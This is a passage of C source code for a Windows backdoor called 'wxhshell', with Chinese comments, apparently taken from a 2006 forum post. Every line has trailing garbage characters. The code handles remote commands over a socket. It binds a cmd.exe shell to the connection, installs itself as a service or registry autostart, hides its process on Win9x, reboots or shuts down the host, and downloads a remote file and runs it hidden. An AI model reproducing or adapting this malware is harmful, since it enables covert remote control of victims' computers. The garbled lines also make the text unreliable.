  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (%YFcE)SRS  
  } r|:i: ii  
  else { kW3V"twx  
#\_N-bVu  
    switch(cmd[0]) { a4Fe MCvV9  
  S{7A3 x'B  
  // 帮助 k$j>_U? P  
  case '?': { y}FTLX $  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tQ&.;{5[f  
    break; LaG./+IP  
  } CMI%jyiX  
  // 安装 JJPU!  
  case 'i': { ~q5"'  
    if(Install()) Xk8+m>   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mw-0n  
    else ` <cB 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q~48lxDU  
    break; q]ER_]%Gna  
    } 2Xys;Dwx  
  // 卸载 k^:)|Z  
  case 'r': { 8vOKm)[%  
    if(Uninstall()) l\I#^N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Nz~4ebB  
    else Mk Er|w'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %QCh#v=ks  
    break; @`^+XPK\  
    } 0&} "!)  
  // 显示 wxhshell 所在路径 u%3D{Dj  
  case 'p': { B"ZW.jMaI  
    char svExeFile[MAX_PATH]; .DiH)  
    strcpy(svExeFile,"\n\r"); AKk6kI8F  
      strcat(svExeFile,ExeFile); ~ODm?k  
        send(wsh,svExeFile,strlen(svExeFile),0); g"Mqh!{ FI  
    break; -,C">T%\  
    } D6=Z%h\*  
  // 重启 L0H;y6&  
  case 'b': { F[BJhN*]a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $1y8gm  
    if(Boot(REBOOT)) B&ItA76  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SSEK9UX  
    else { iZ}  w>1  
    closesocket(wsh); |2z?8lx  
    ExitThread(0); xb1 i{d  
    } >~8;H x].d  
    break; ;[V_w/-u  
    } _w0t+=&  
  // 关机 CZe0kH^:{  
  case 'd': { RY3ANEu+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jT}3Zn  
    if(Boot(SHUTDOWN)) A[`c2v-hF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QV,X> !Nz  
    else { 'Alt+O_  
    closesocket(wsh); SR7$m<0t*  
    ExitThread(0); 0*^ J;QGE  
    } i`U:uwW`  
    break; 1D%3|_id^  
    } 1BO$xq  
  // 获取shell ?^t"tY  
  case 's': { t{Ck"4Cg  
    CmdShell(wsh); 2#:/C:  
    closesocket(wsh); (C>FM8$J  
    ExitThread(0); 4=!SG4~o  
    break; yr?*{;  
  } (N{Rda*8  
  // 退出 3omFd#EP  
  case 'x': { " uf*?m3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D!< [\ G  
    CloseIt(wsh); [!H2i p-  
    break; o!!";q%DX  
    } d$Y3 a^O|  
  // 离开 t\Pn67t  
  case 'q': { nm5zX,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VOr*YB&  
    closesocket(wsh); K(@QKRZ7[  
    WSACleanup(); g S xK9P  
    exit(1); d*Q:[RUf,  
    break; itClCEOA  
        } ~'>RK  
  } E^B*:w3  
  } H<T9$7Yr%r  
K;moV| j  
  // 提示信息 [- C -+jC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \i_y(;  
} db#QA#^S  
  } ]k~Vh[[  
['~j1!/;6  
  return; '?7th>pC  
} ii&{gC  
x dDR/KS  
// shell模块句柄 ~_<I}!j/B  
int CmdShell(SOCKET sock) $.{CA-~%[  
{ KzD5>Xf]4$  
STARTUPINFO si; o (fZZ`6Y  
ZeroMemory(&si,sizeof(si)); 7yp7`|,p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WvSh i=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >`L)E,=/  
PROCESS_INFORMATION ProcessInfo; dJID '2a  
char cmdline[]="cmd"; =Lx*TbsFYt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oz $T.  
  return 0; juOOD   
} 0s)B~  
nn>< k"  
// 自身启动模式 R-nC+)^  
int StartFromService(void) uMOm<kn  
{ HgL*/d  
typedef struct $T7hY$2Q l  
{ bU'{U0lM  
  DWORD ExitStatus; AdBF$nn[  
  DWORD PebBaseAddress; kw)@[1U  
  DWORD AffinityMask; wXw pKm  
  DWORD BasePriority; iC- ?F cA  
  ULONG UniqueProcessId; 5c6CH k`:  
  ULONG InheritedFromUniqueProcessId; GBOz,_pw  
}   PROCESS_BASIC_INFORMATION; $[9,1.?C  
c*MSd  
PROCNTQSIP NtQueryInformationProcess; " a;z  
St/<\Y,wr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {6MLbL{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /?X1>A:*  
K|*Cka{  
  HANDLE             hProcess; X&qRanOP;z  
  PROCESS_BASIC_INFORMATION pbi; JmN,:bI  
w6tb vhcmU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jRIjFn|~{Y  
  if(NULL == hInst ) return 0; . 2_t/2  
 /;LteBoY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k 1;,eB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [?TQ!l}8A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )US|&> o8  
2{naSiaq  
  if (!NtQueryInformationProcess) return 0; G"!YV#"~  
'TclH80  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }G n2%  
  if(!hProcess) return 0; AU1P?lk  
#6{"c r6l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; il^SGH  
E.W7`zl  
  CloseHandle(hProcess); +js3o@Ku{\  
bh=d'9B@&J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .UNh\R?r  
if(hProcess==NULL) return 0; t6 :;0[j  
{m5tgVi&  
HMODULE hMod; wqDRFZ1*P  
char procName[255]; g*8LdH 6mq  
unsigned long cbNeeded; b:fy  
'>FJk`iI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -x )(2|  
pGw|T~e%  
  CloseHandle(hProcess); {#M=gDhbX  
u:H@]z(x  
if(strstr(procName,"services")) return 1; // 以服务启动 ]RHR>=;  
}D.?O,ue  
  return 0; // 注册表启动 ?#]K54?  
} wP3PI.g-g  
@~6A9Fr  
// 主模块 =QEg~sD^)s  
int StartWxhshell(LPSTR lpCmdLine) rC]jz$sle  
{ ]*a)'k_@[  
  SOCKET wsl; J{72%S  
BOOL val=TRUE; .K^'Q|?  
  int port=0; @ [_I|  
  struct sockaddr_in door; Db({k,P'Y  
;cZ9C 1  
  if(wscfg.ws_autoins) Install(); jeb<qi>  
F=   
port=atoi(lpCmdLine); |E @Gsw  
JA7HO |  
if(port<=0) port=wscfg.ws_port; &|<~J (L;  
.UbmU^y|  
  WSADATA data; vj0`[X   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j}8IT  
/1++ 8=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X?$Eb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EVmQ"PKL'  
  door.sin_family = AF_INET; %z! w- u+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K/oPfD]  
  door.sin_port = htons(port); 'T[=Uuj"  
:j$K.3n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [ANit0-~  
closesocket(wsl); 1DcYc-k#  
return 1; Y>!9P\Xe  
} #m 3WZ3t$  
`9Ngax=_  
  if(listen(wsl,2) == INVALID_SOCKET) { mm%w0dOb"  
closesocket(wsl); G1B~?i2$ ?  
return 1; G~)jk+Qq  
} 'ntb.S)  
  Wxhshell(wsl); en7i})v\".  
  WSACleanup(); ] d| -r:4  
4,f[D9|:  
return 0; E=gD{1,?  
[$?S9)Xd  
} Kbx(^f12  
Q3%a=ba)h  
// 以NT服务方式启动 9<<$uf.B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0<{/T*AU:  
{ mquna"}N  
DWORD   status = 0; YkPz ~;  
  DWORD   specificError = 0xfffffff; Y'/`?CK  
.^#{rk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'N='B<^;%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eFXxkWR)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -a3+C,I8g  
  serviceStatus.dwWin32ExitCode     = 0; /0SG  
  serviceStatus.dwServiceSpecificExitCode = 0; &{&lCBN  
  serviceStatus.dwCheckPoint       = 0; H*|Bukgt/M  
  serviceStatus.dwWaitHint       = 0; &.kg8|s{  
t,N- |  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .5L/<  
  if (hServiceStatusHandle==0) return; s5|LD'o!  
7x9YA$IE  
status = GetLastError(); &m8B%9w  
  if (status!=NO_ERROR) cv:nlq)  
{ 3~I<f ^K4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^'QcP5Fv  
    serviceStatus.dwCheckPoint       = 0; oD{V_/pdx  
    serviceStatus.dwWaitHint       = 0; A#1aO  
    serviceStatus.dwWin32ExitCode     = status; f]T1:N*t  
    serviceStatus.dwServiceSpecificExitCode = specificError; w,8 M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] >ipC,v  
    return; Djf2ir'  
  } dG7sY O@U  
~\<ZWU<BE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xx;'WL,g  
  serviceStatus.dwCheckPoint       = 0; 6z%3l7#7Yi  
  serviceStatus.dwWaitHint       = 0; %n}fkj'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); { KwLcSn  
} /7S]%UY  
 +KFK..  
// 处理NT服务事件,比如:启动、停止  aSHZR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y#AY+ >  
{ U YUIpe  
switch(fdwControl) .NjdkHYR  
{ ec1g7w-n  
case SERVICE_CONTROL_STOP:  4EB$e?  
  serviceStatus.dwWin32ExitCode = 0; eV9:AN}K=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EUuMSDp  
  serviceStatus.dwCheckPoint   = 0; '4Z%{.;  
  serviceStatus.dwWaitHint     = 0; f+xGf6V  
  { e@]cI/j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oE)c8rE  
  } V<4)'UI?k9  
  return; fbuop&FN+q  
case SERVICE_CONTROL_PAUSE: r@%32h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Yz.Bfli  
  break; }T,E$vsx  
case SERVICE_CONTROL_CONTINUE: D4#,9?us  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Arp4$h  
  break; @D"|Jq=6P  
case SERVICE_CONTROL_INTERROGATE: [9(B;;R@  
  break; L$jyeFB5  
}; Cc Ni8Wg_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sef!hS06  
} 't)j  
fE7WLV2I>  
// 标准应用程序主函数 8-?n<h%8E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dJ24J+9}]j  
{ ixKQh};5/  
4zf#zJw  
// 获取操作系统版本 H8\{ GGg  
OsIsNt=GetOsVer(); fI$, ?>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |?8CV\D!  
g X(QRQ  
  // 从命令行安装 v?LJ_>hw*T  
  if(strpbrk(lpCmdLine,"iI")) Install(); =?*V3e3{  
BMX x(W]  
  // 下载执行文件 &OzJ^G\o  
if(wscfg.ws_downexe) { M$&>"%Oi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :cynZab  
  WinExec(wscfg.ws_filenam,SW_HIDE); '!1lK  
} ["L?t ^*G  
R*yB);p  
if(!OsIsNt) { K4R jGSaF  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;( 2uQ#Y  
HideProc(); V;:A&  
StartWxhshell(lpCmdLine); b/5~VY*T  
} tQl=  
else sJM}p5V  
  if(StartFromService()) -5>g 0o2  
  // 以服务方式启动 T@vVff  
  StartServiceCtrlDispatcher(DispatchTable); >LLzG  
else Q  o=  
  // 普通方式启动 t]&n_]`{.  
  StartWxhshell(lpCmdLine); ^9{ 2  
"t\9@nzdX  
return 0; IS=)J( 0  
}
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只看该作者 1 发表于: 2006-10-10
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